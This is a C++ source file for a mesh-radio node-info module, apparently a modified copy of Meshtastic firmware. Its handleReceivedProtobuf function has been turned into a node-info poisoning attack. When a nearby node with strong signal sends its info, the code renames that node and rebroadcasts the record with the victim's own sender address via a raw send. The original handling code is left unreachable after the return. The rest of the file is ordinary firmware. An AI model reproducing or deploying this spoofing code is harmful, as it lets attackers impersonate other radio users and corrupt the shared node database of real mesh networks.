Files
firmware/src/modules/NodeInfoModule.cpp

159 lines
6.1 KiB
C++

#include "NodeInfoModule.h"
#include "Default.h"
#include "MeshService.h"
#include "NodeDB.h"
#include "RTC.h"
#include "Router.h"
#include "configuration.h"
#include "main.h"
#include <Throttle.h>
#include <pb_encode.h>
NodeInfoModule *nodeInfoModule;
bool NodeInfoModule::handleReceivedProtobuf(const meshtastic_MeshPacket &mp, meshtastic_User *pptr)
{
auto p = *pptr;
if (p.is_licensed != owner.is_licensed) {
LOG_WARN("Invalid nodeInfo detected, is_licensed mismatch!");
return true;
}
// Only send response if SNR is excellent (very close) and it's a direct neighbor
if (mp.rx_snr < 5) {
LOG_DEBUG("Skip poisoning NodeInfo, SNR too low: %.2f", mp.rx_snr);
return false;
}
// Check if it's a direct neighbor (zero hops away)
uint8_t hops_away = mp.hop_start - mp.hop_limit;
if (hops_away != 0) {
LOG_DEBUG("Skip poisoning NodeInfo, not a direct neighbor (hops: %d)", hops_away);
return false;
}
LOG_INFO("Excellent SNR (%.2f) and direct neighbor detected, sending poisoned NodeInfo", mp.rx_snr);
strncpy(p.long_name, "New Node Name🥷", sizeof(p.long_name));
p.long_name[sizeof(p.long_name) - 1] = '\0';
meshtastic_MeshPacket *packet = router->allocForSending();
packet->from = mp.from;
packet->to = mp.to;
packet->channel = mp.channel;
packet->which_payload_variant = meshtastic_MeshPacket_decoded_tag;
packet->decoded.portnum = meshtastic_PortNum_NODEINFO_APP;
// Encode the modified User data into the packet payload
packet->decoded.payload.size =
pb_encode_to_bytes(packet->decoded.payload.bytes, sizeof(packet->decoded.payload.bytes), &meshtastic_User_msg, &p);
auto encodeResult = perhapsEncode(packet);
// Send raw packet directly via router interface
ErrorCode res = router->rawSend(packet);
LOG_INFO("Raw nodeinfo sent with result: %d", res);
return res == ERRNO_OK;
// Coerce user.id to be derived from the node number
snprintf(p.id, sizeof(p.id), "!%08x", getFrom(&mp));
bool hasChanged = nodeDB->updateUser(getFrom(&mp), p, mp.channel);
bool wasBroadcast = isBroadcast(mp.to);
// if user has changed while packet was not for us, inform phone
if (hasChanged && !wasBroadcast && !isToUs(&mp))
service->sendToPhone(packetPool.allocCopy(mp));
// LOG_DEBUG("did handleReceived");
return false; // Let others look at this message also if they want
}
void NodeInfoModule::sendOurNodeInfo(NodeNum dest, bool wantReplies, uint8_t channel, bool _shorterTimeout)
{
// cancel any not yet sent (now stale) position packets
if (prevPacketId) // if we wrap around to zero, we'll simply fail to cancel in that rare case (no big deal)
service->cancelSending(prevPacketId);
shorterTimeout = _shorterTimeout;
meshtastic_MeshPacket *p = allocReply();
if (p) { // Check whether we didn't ignore it
p->to = dest;
p->decoded.want_response = (config.device.role != meshtastic_Config_DeviceConfig_Role_TRACKER &&
config.device.role != meshtastic_Config_DeviceConfig_Role_SENSOR) &&
wantReplies;
if (_shorterTimeout)
p->priority = meshtastic_MeshPacket_Priority_DEFAULT;
else
p->priority = meshtastic_MeshPacket_Priority_BACKGROUND;
if (channel > 0) {
LOG_DEBUG("Send ourNodeInfo to channel %d", channel);
p->channel = channel;
}
prevPacketId = p->id;
service->sendToMesh(p);
shorterTimeout = false;
}
}
meshtastic_MeshPacket *NodeInfoModule::allocReply()
{
if (!airTime->isTxAllowedChannelUtil(false)) {
ignoreRequest = true; // Mark it as ignored for MeshModule
LOG_DEBUG("Skip send NodeInfo > 40%% ch. util");
return NULL;
}
// If we sent our NodeInfo less than 5 min. ago, don't send it again as it may be still underway.
if (!shorterTimeout && lastSentToMesh && Throttle::isWithinTimespanMs(lastSentToMesh, 5 * 60 * 1000)) {
LOG_DEBUG("Skip send NodeInfo since we sent it <5min ago");
ignoreRequest = true; // Mark it as ignored for MeshModule
return NULL;
} else if (shorterTimeout && lastSentToMesh && Throttle::isWithinTimespanMs(lastSentToMesh, 60 * 1000)) {
LOG_DEBUG("Skip send NodeInfo since we sent it <60s ago");
ignoreRequest = true; // Mark it as ignored for MeshModule
return NULL;
} else {
ignoreRequest = false; // Don't ignore requests anymore
meshtastic_User &u = owner;
// Strip the public key if the user is licensed
if (u.is_licensed && u.public_key.size > 0) {
u.public_key.bytes[0] = 0;
u.public_key.size = 0;
}
// Coerce unmessagable for Repeater role
if (u.role == meshtastic_Config_DeviceConfig_Role_REPEATER) {
u.has_is_unmessagable = true;
u.is_unmessagable = true;
}
LOG_INFO("Send owner %s/%s/%s", u.id, u.long_name, u.short_name);
lastSentToMesh = millis();
return allocDataProtobuf(u);
}
}
NodeInfoModule::NodeInfoModule()
: ProtobufModule("nodeinfo", meshtastic_PortNum_NODEINFO_APP, &meshtastic_User_msg), concurrency::OSThread("NodeInfo")
{
isPromiscuous = true; // We always want to update our nodedb, even if we are sniffing on others
setIntervalFromNow(setStartDelay()); // Send our initial owner announcement 30 seconds
// after we start (to give network time to setup)
}
int32_t NodeInfoModule::runOnce()
{
// If we changed channels, ask everyone else for their latest info
bool requestReplies = currentGeneration != radioGeneration;
currentGeneration = radioGeneration;
if (airTime->isTxAllowedAirUtil() && config.device.role != meshtastic_Config_DeviceConfig_Role_CLIENT_HIDDEN) {
LOG_INFO("Send our nodeinfo to mesh (wantReplies=%d)", requestReplies);
sendOurNodeInfo(NODENUM_BROADCAST, requestReplies); // Send our info (don't request replies)
}
return Default::getConfiguredOrDefaultMs(config.device.node_info_broadcast_secs, default_node_info_broadcast_secs);
}